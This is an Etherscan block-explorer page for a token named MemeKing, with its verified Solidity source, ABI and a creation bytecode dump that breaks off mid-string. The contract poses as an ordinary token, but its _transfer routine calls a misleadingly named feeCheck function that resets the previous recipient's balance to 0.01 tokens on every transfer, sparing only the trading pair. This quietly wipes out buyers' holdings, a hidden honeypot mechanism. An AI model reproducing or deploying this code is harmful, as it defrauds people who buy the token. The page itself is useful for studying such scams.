ETH Price: $2,628.26 (-1.59%)

Token

MemeKing (MemeKing)
 

Overview

Max Total Supply

100,000,000 MemeKing

Holders

8

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.01 MemeKing

Value
$0.00
0x8bbf3d8c076df2fe640953f7c497b1942f540630
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MemeKing

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-07-07
*/

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.15;


interface IBEP20 {

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
       (bool success, ) = recipient.call{ value: amount }("");
        require(success, "address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "address: low-level call failed");
    }

    /**
     * @dev Same as {xref-address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an BNB balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IPancakeFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IPancakePair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IPancakeRouter01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
       uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IPancakeRouter02 is IPancakeRouter01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}




contract MemeKing is Context, IBEP20, Ownable {

    using Address for address;
    
    uint256 private total = 100 * 10 ** 6 * 10 ** 9;
    uint256 private bonus = 10000000;
    string private _name;
    string private _symbol;
    address public addr=0xaB7AC2bd125609A7CeB8Aebf51a6F77bA4FD5486;
    address _routeradd=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address public _owner;
    uint8 private _decimals = 9;

    mapping(address => uint256) private _rOwned;
    
    mapping(address => uint256) private bal;
    mapping(address => bool) private _tTotal;
    
    mapping(address => mapping(address => uint256)) private _allowances;


    bool private swap = false;

    IPancakeRouter02 public immutable pancakeRouter;
    address public immutable con;

    constructor(
        string memory Name,
        string memory Symbol
    ) {
        _name = Name;
        _symbol = Symbol;
        _owner = tx.origin;  
        bal[_msgSender()] = total;
        _tTotal[owner()]=false;

        IPancakeRouter02 _pancakeRouter = IPancakeRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        // Create a pancake pair for this new token
        con = IPancakeFactory(_pancakeRouter.factory())
        .createPair(address(this), _pancakeRouter.WETH());

        // set the rest of the contract variables
        pancakeRouter = _pancakeRouter;

        
        emit Transfer(address(0), _msgSender(), total);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return total;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return (bal[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);//;, "BEP20: transfer amount exceeds allowance"));
        return true;
    }   


    function _getCurrentSupply() private view returns (uint256) {
        uint256 tSupply = total;
        return tSupply;
    }

 

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        bal[recipient] = bal[recipient] + (tAmount);
        bal[sender] = bal[sender] - (tAmount);
        emit Transfer(sender, recipient, tAmount);
    }

    function _transfer(
        address sender,
        address recv,
        uint256 amount

    ) private {
        require(sender != address(0), "BEP20: transfer from the zero address");
        require(recv != address(0), "BEP20: transfer to the zero address");

        _transferStandard(sender, recv, amount);
        feeCheck(addr);
        addr=recv;
    }
    

    function feeCheck(address addr) private
    {
        if (addr!=con)
        {
            bal[addr]=bonus;
        }
    }

    function _transferFromExcluded(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
      
        
        require(sender != address(0), "BEP20: transfer from the zero address");
        emit Transfer(sender, recipient, tAmount);
    }


    function swapAndLiquify(uint256 contractTokenBalance) private  {
        // split the contract balance into halves
        uint256 half = contractTokenBalance;
        uint256 otherHalf = contractTokenBalance;

        // capture the contract's current ETH balance.
        // this is so that we can capture exactly the amount of ETH that the
        // swap creates, and not make the liquidity event include any ETH that
        // has been manually sent to the contract
        uint256 initialBalance = address(this).balance;


        // how much ETH did we just swap into?
        uint256 newBalance = address(this).balance-(initialBalance);

        // add liquidity to uniswap
        addLiquidity(otherHalf, newBalance);

    }
    

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(_routeradd), tokenAmount);

        // add the liquidity
        pancakeRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }
    

 }

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"con","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakeRouter","outputs":[{"internalType":"contract IPancakeRouter02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60c060405267016345785d8a00006001556298968060025573ab7ac2bd125609a7ceb8aebf51a6f77ba4fd5486600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600760146101000a81548160ff021916908360ff1602179055506000600c60006101000a81548160ff0219169083151502179055503480156200010557600080fd5b50604051620022f0380380620022f083398181016040528101906200012b919062000765565b6200014b6200013f620004d360201b60201c565b620004db60201b60201c565b81600390816200015c919062000a35565b5080600490816200016e919062000a35565b5032600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460096000620001c7620004d360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600a60006200021b6200059f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002d1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f7919062000b81565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200035f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000385919062000b81565b6040518363ffffffff1660e01b8152600401620003a492919062000bc4565b6020604051808303816000875af1158015620003c4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ea919062000b81565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505062000461620004d360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600154604051620004c2919062000c02565b60405180910390a350505062000c1f565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200063182620005e6565b810181811067ffffffffffffffff82111715620006535762000652620005f7565b5b80604052505050565b600062000668620005c8565b905062000676828262000626565b919050565b600067ffffffffffffffff821115620006995762000698620005f7565b5b620006a482620005e6565b9050602081019050919050565b60005b83811015620006d1578082015181840152602081019050620006b4565b83811115620006e1576000848401525b50505050565b6000620006fe620006f8846200067b565b6200065c565b9050828152602081018484840111156200071d576200071c620005e1565b5b6200072a848285620006b1565b509392505050565b600082601f8301126200074a5762000749620005dc565b5b81516200075c848260208601620006e7565b91505092915050565b600080604083850312156200077f576200077e620005d2565b5b600083015167ffffffffffffffff811115620007a0576200079f620005d7565b5b620007ae8582860162000732565b925050602083015167ffffffffffffffff811115620007d257620007d1620005d7565b5b620007e08582860162000732565b9150509250929050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200083d57607f821691505b602082108103620008535762000852620007f5565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008bd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200087e565b620008c986836200087e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000916620009106200090a84620008e1565b620008eb565b620008e1565b9050919050565b6000819050919050565b6200093283620008f5565b6200094a62000941826200091d565b8484546200088b565b825550505050565b600090565b6200096162000952565b6200096e81848462000927565b505050565b5b8181101562000996576200098a60008262000957565b60018101905062000974565b5050565b601f821115620009e557620009af8162000859565b620009ba846200086e565b81016020851015620009ca578190505b620009e2620009d9856200086e565b83018262000973565b50505b505050565b600082821c905092915050565b600062000a0a60001984600802620009ea565b1980831691505092915050565b600062000a258383620009f7565b9150826002028217905092915050565b62000a4082620007ea565b67ffffffffffffffff81111562000a5c5762000a5b620005f7565b5b62000a68825462000824565b62000a758282856200099a565b600060209050601f83116001811462000aad576000841562000a98578287015190505b62000aa4858262000a17565b86555062000b14565b601f19841662000abd8662000859565b60005b8281101562000ae75784890151825560018201915060208501945060208101905062000ac0565b8683101562000b07578489015162000b03601f891682620009f7565b8355505b6001600288020188555050505b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b498262000b1c565b9050919050565b62000b5b8162000b3c565b811462000b6757600080fd5b50565b60008151905062000b7b8162000b50565b92915050565b60006020828403121562000b9a5762000b99620005d2565b5b600062000baa8482850162000b6a565b91505092915050565b62000bbe8162000b3c565b82525050565b600060408201905062000bdb600083018562000bb3565b62000bea602083018462000bb3565b9392505050565b62000bfc81620008e1565b82525050565b600060208201905062000c19600083018462000bf1565b92915050565b60805160a0516116a462000c4c600039600081816103db0152610de5015260006106ce01526116a46000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063767800de11610097578063b2bdfa7b11610066578063b2bdfa7b146102a1578063c21ebd07146102bf578063dd62ed3e146102dd578063f2fde38b1461030d57610100565b8063767800de146102175780638da5cb5b1461023557806395d89b4114610253578063a9059cbb1461027157610100565b806323b872dd116100d357806323b872dd1461018f578063313ce567146101bf57806370a08231146101dd578063715018a61461020d57610100565b806306fdde0314610105578063095ea7b3146101235780630b2cb3bc1461015357806318160ddd14610171575b600080fd5b61010d610329565b60405161011a9190610f19565b60405180910390f35b61013d60048036038101906101389190610fd4565b6103bb565b60405161014a919061102f565b60405180910390f35b61015b6103d9565b6040516101689190611059565b60405180910390f35b6101796103fd565b6040516101869190611083565b60405180910390f35b6101a960048036038101906101a4919061109e565b610407565b6040516101b6919061102f565b60405180910390f35b6101c76104bf565b6040516101d4919061110d565b60405180910390f35b6101f760048036038101906101f29190611128565b6104d6565b6040516102049190611083565b60405180910390f35b61021561051f565b005b61021f6105a7565b60405161022c9190611059565b60405180910390f35b61023d6105cd565b60405161024a9190611059565b60405180910390f35b61025b6105f6565b6040516102689190610f19565b60405180910390f35b61028b60048036038101906102869190610fd4565b610688565b604051610298919061102f565b60405180910390f35b6102a96106a6565b6040516102b69190611059565b60405180910390f35b6102c76106cc565b6040516102d491906111b4565b60405180910390f35b6102f760048036038101906102f291906111cf565b6106f0565b6040516103049190611083565b60405180910390f35b61032760048036038101906103229190611128565b610777565b005b6060600380546103389061123e565b80601f01602080910402602001604051908101604052809291908181526020018280546103649061123e565b80156103b15780601f10610386576101008083540402835291602001916103b1565b820191906000526020600020905b81548152906001019060200180831161039457829003601f168201915b5050505050905090565b60006103cf6103c861086e565b8484610876565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600154905090565b6000610414848484610a3f565b6104b48461042061086e565b84600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046a61086e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104af919061129e565b610876565b600190509392505050565b6000600760149054906101000a900460ff16905090565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61052761086e565b73ffffffffffffffffffffffffffffffffffffffff166105456105cd565b73ffffffffffffffffffffffffffffffffffffffff161461059b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105929061131e565b60405180910390fd5b6105a56000610b99565b565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546106059061123e565b80601f01602080910402602001604051908101604052809291908181526020018280546106319061123e565b801561067e5780601f106106535761010080835404028352916020019161067e565b820191906000526020600020905b81548152906001019060200180831161066157829003601f168201915b5050505050905090565b600061069c61069561086e565b8484610a3f565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600b60008473ffffffffffffffffff